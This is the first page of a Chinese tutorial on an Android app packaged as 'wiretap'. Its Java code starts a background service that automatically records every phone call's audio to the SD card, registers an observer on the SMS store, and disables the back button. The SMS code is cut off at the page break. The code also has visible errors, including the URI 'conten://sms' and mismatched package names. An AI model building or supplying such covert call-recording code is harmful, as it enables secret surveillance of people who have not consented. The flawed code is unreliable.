设为首页 加入收藏

TOP

Android Service 服务的应用之电话监听器以及短信监听器(一)
2015-07-16 12:54:59 来源: 作者: 【 】 浏览:3
Tags:Android Service 服务 应用 电话 监听 以及 短信

Android service 服务的应用之电话监听器以及短信监听器


首先在MainActivity.java文件启动电话和短信的界面,代码如下


package com.xunfang.wiretap;


import com.xunfang.observer.MyObserver;
import com.xunfang.services.PhoneService;


import android.support.v7.app.ActionBarActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.view.Menu;
import android.view.MenuItem;



public class MainActivity extends ActionBarActivity {


? ? @Override
? ? protected void onCreate(Bundle savedInstanceState) {
? ? ? ? super.onCreate(savedInstanceState);
? ? ? ? //电话
? ? ? ? setContentView(R.layout.activity_main);
? ? ? ? Intent intent = new Intent(this,PhoneService.class);
? ? ? ? startService(intent);
? ? ? ? //短信
? ? ? ? Uri uri = Uri.parse("conten://sms");
? ? ? ? getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler()));
? ? ? ?
? ? }
? ? @Override
? ? public void onBackPressed() {
? ? }
}


然后进入电话管理服务界面PhoeService.java界面。代码如下


package com.xunfang.phoneservice;


import java.io.IOException;


import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;


public class PhoneService extends Service {


? ? // 管理电话
? ? private TelephonyManager tm;


? ? private MyListener listener;


? ? // 创建一个收音机
? ? private MediaRecorder mr;


? ? @Override
? ? public IBinder onBind(Intent intent) {
? ? ? ? return null;
? ? }


? ? @Override
? ? public void onCreate() {
? ? ? ? super.onCreate();
? ? ? ? // 实例化
? ? ? ? tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);


? ? ? ? // 监听电话的状态
? ? ? ? listener = new MyListener();
? ? ? ? // 注册监听者,监听电话的状态
? ? ? ? tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
? ? }


? ? private class MyListener extends PhoneStateListener {
? ? ? ? @Override
? ? ? ? public void onCallStateChanged(int state, String incomingNumber) {
? ? ? ? ? ? super.onCallStateChanged(state, incomingNumber);


? ? ? ? ? ? switch (state) {
? ? ? ? ? ? case TelephonyManager.CALL_STATE_IDLE: // 空闲状态
? ? ? ? ? ? ? ? System.out.println("电话空闲");
? ? ? ? ? ? ? ? if (mr != null) {
? ? ? ? ? ? ? ? ? ? // 说明录音机停止录音了
? ? ? ? ? ? ? ? ? ? mr.stop();
? ? ? ? ? ? ? ? ? ? mr.release();
? ? ? ? ? ? ? ? ? ? mr = null;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? break;
? ? ? ? ? ? case TelephonyManager.CALL_STATE_OFFHOOK: // 摘机状态(通话状态)
? ? ? ? ? ? ? ? System.out.println("通话状态");
? ? ? ? ? ? ? ? // 1.创建一个收音机
? ? ? ? ? ? ? ? mr = new MediaRecorder();
? ? ? ? ? ? ? ? // 2.设置音源
? ? ? ? ? ? ? ? mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET
? ? ? ? ? ? ? ? // 3.设置录制音频的格式
? ? ? ? ? ? ? ? mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
? ? ? ? ? ? ? ? // 4设置音频的采样率
? ? ? ? ? ? ? ? mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
? ? ? ? ? ? ? ? // 5.设置录制的文件放置的位置
? ? ? ? ? ? ? ? mr.setOutputFile("/mnt/sdcard/xxx.avi");
? ? ? ? ? ? ? ? // 6.准备录制
? ? ? ? ? ? ? ? try {
? ? ? ? ? ? ? ? ? ? mr.prepare();
? ? ? ? ? ? ? ? } catch( Exception e) {
? ? ? ? ? ? ? ? ? ? e.printStackTrace();
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? // 7.开始录制
? ? ? ? ? ? ? ? mr.start();


? ? ? ? ? ? ? ? break;
? ? ? ? ? ? case TelephonyManager.CALL_STATE_RINGING: // 响铃状态
? ? ? ? ? ? ? ? System.out.println("响铃状态");
? ? ? ? ? ? ? ? break;
? ? ? ? ? ? }
? ? ? ? }
? ? }


}


然后进入管理短信服务界面MyObserver.java,代码如下所示


package com.xunfang.observer;


import java.text.SimpleDateFormat;
import java.util.Date;


import android.content.ContentResolver;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.

首页 上一页 1 2 下一页 尾页 1/2/2
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇Android利用canvas画画板 下一篇Android Gesture 手势创建以及使..

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容: